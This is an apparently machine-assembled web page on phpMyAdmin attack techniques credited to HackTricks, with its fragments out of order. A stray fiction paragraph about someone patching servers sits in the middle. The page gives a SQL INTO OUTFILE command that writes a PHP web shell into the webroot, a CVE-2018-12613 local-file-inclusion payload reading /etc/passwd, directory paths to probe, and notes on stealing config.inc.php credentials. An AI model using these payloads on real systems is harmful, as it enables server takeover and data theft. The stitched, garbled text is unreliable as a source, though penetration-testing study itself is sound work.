Phpmyadmin Hacktricks: Verified

Note: This requires the secure_file_priv variable to be empty or pointing to the webroot. B. CVE-2018-12613 (Local File Inclusion)

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";

SELECT '' INTO OUTFILE '/var/www/html/shell.php'; Use code with caution. 4. Notable Verified Vulnerabilities (CVEs)

A soft sound of relief escaped her chest. She began the final phase: patching. She hardened the filtering layer, parameterized the queries, and added a strict allowlist to the phpMyAdmin instance. She set up a small cron job to audit role deletion events and email the CIO if anything unusual occurred. Then — because HackTricks had laid bare another danger — she rotated the API keys tied to the payment processor and invalidated session tokens older than a day.

If phpMyAdmin is not visible on the main page, scan for common deployment directories: /phpmyadmin/ /phpMyAdmin/ /pma/ /admin/pma/ /dbadmin/ Version Identification

The file config.inc.php contains the authentication method and credentials. If you can read it (via LFI or misconfiguration), you own the database.

One of the most famous "HackTricks verified" vulnerabilities. In versions 4.8.0 through 4.8.1, a flaw in the page redirection logic allowed for LFI. index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd Attackers combine this with Session File Poisoning :

is frequently targeted because its successful compromise often grants an attacker complete control over a website's backend data or, in some cases, the web server itself. Vulnerabilities typically stem from outdated versions, misconfigurations, or weak credentials. 2. High-Impact Exploitation Techniques Verified techniques on HackTricks Exploit-DB highlight critical attack paths: Authenticated Local File Inclusion (LFI):

Based on documented penetration testing techniques, several key vectors define the phpMyAdmin attack surface: